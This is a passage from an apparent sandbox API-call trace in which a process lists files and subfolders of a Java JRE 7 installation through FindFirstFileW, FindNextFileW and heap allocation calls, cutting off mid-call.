lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x10da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpioji.dll", cAlternateFileName="")) returned 1 [0250.469] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x229a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpishare.dll", cAlternateFileName="")) returned 1 [0250.469] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2c9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jqs.exe", cAlternateFileName="")) returned 1 [0250.470] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdt.dll", cAlternateFileName="")) returned 1 [0250.470] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsound.dll", cAlternateFileName="")) returned 1 [0250.470] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsoundds.dll", cAlternateFileName="")) returned 1 [0250.470] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2b7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="kcms.dll", cAlternateFileName="")) returned 1 [0250.470] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="keytool.exe", cAlternateFileName="")) returned 1 [0250.470] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="kinit.exe", cAlternateFileName="")) returned 1 [0250.470] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="klist.exe", cAlternateFileName="")) returned 1 [0250.470] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ktab.exe", cAlternateFileName="")) returned 1 [0250.470] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6dba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="libxml2.dll", cAlternateFileName="")) returned 1 [0250.470] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x269a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="libxslt.dll", cAlternateFileName="")) returned 1 [0250.470] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="management.dll", cAlternateFileName="MANAGE~1.DLL")) returned 1 [0250.470] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8c1a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mlib_image.dll", cAlternateFileName="MLIB_I~1.DLL")) returned 1 [0250.470] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbcf50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0250.470] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x127a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="net.dll", cAlternateFileName="")) returned 1 [0250.470] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="nio.dll", cAlternateFileName="")) returned 1 [0250.471] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x367a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npjpi170_45.dll", cAlternateFileName="NPJPI1~1.DLL")) returned 1 [0250.471] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x35da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npoji610.dll", cAlternateFileName="")) returned 1 [0250.522] GetProcessHeap () returned 0x550000 [0250.522] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0250.522] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0251.422] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0251.448] GetProcessHeap () returned 0x550000 [0251.448] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0251.448] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0251.448] GetProcessHeap () returned 0x550000 [0251.448] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0251.448] GetProcessHeap () returned 0x550000 [0251.449] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0251.449] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\lib\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7572f9a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7572f9a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0251.731] GetProcessHeap () returned 0x550000 [0251.731] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0251.731] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\lib\\applet\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0251.731] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0251.732] GetProcessHeap () returned 0x550000 [0251.732] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0251.732] GetProcessHeap () returned 0x550000 [0251.732] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0251.732] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0251.825] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0251.825] GetProcessHeap () returned 0x550000 [0251.825] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0251.825] GetProcessHeap () returned 0x550000 [0251.825] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0251.825] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0252.012] GetProcessHeap () returned 0x550000 [0252.012] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0252.013] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0252.515] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0252.516] GetProcessHeap () returned 0x550000 [0252.516] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0252.516] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0252.516] GetProcessHeap () returned 0x550000 [0252.516] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0252.517] GetProcessHeap () returned 0x550000 [0252.517] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0252.517] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0252.529] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0252.530] GetProcessHeap () returned 0x550000 [0252.530] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0252.530] GetProcessHeap () returned 0x550000 [0252.530] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0252.530] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0252.534] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0252.535] GetProcessHeap () returned 0x550000 [0252.535] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0252.535] GetProcessHeap () returned 0x550000 [0252.535] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0252.535] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0252.537] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0252.537] GetProcessHeap () returned 0x550000 [0252.537] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0252.537] GetProcessHeap () returned 0x550000 [0252.537] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0252.537] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0252.543] GetProcessHeap () returned 0x550000 [0252.543] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0252.545] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0252.593] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0252.594] GetProcessHeap () returned 0x550000 [0252.594] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0252.594] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0252.595] GetProcessHeap () returned 0x550000 [0252.595] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0252.596] GetProcessHeap () returned 0x550000 [0252.596] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0252.596] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0252.597] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0252.598] GetProcessHeap () returned 0x550000 [0252.598] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0252.598] GetProcessHeap () returned 0x550000 [0252.598] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0252.598] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0252.601] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0252.602] GetProcessHeap () returned 0x550000 [0252.602] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0252.602] GetProcessHeap () returned 0x550000 [0252.602] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0252.602] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0253.272] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0253.273] GetProcessHeap () returned 0x550000 [0253.273] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0253.273] GetProcessHeap () returned 0x550000 [0253.273] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0253.273] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0253.833] GetProcessHeap () returned 0x550000 [0253.833] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0253.834] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0254.550] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0254.552] GetProcessHeap () returned 0x550000 [0254.552] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) 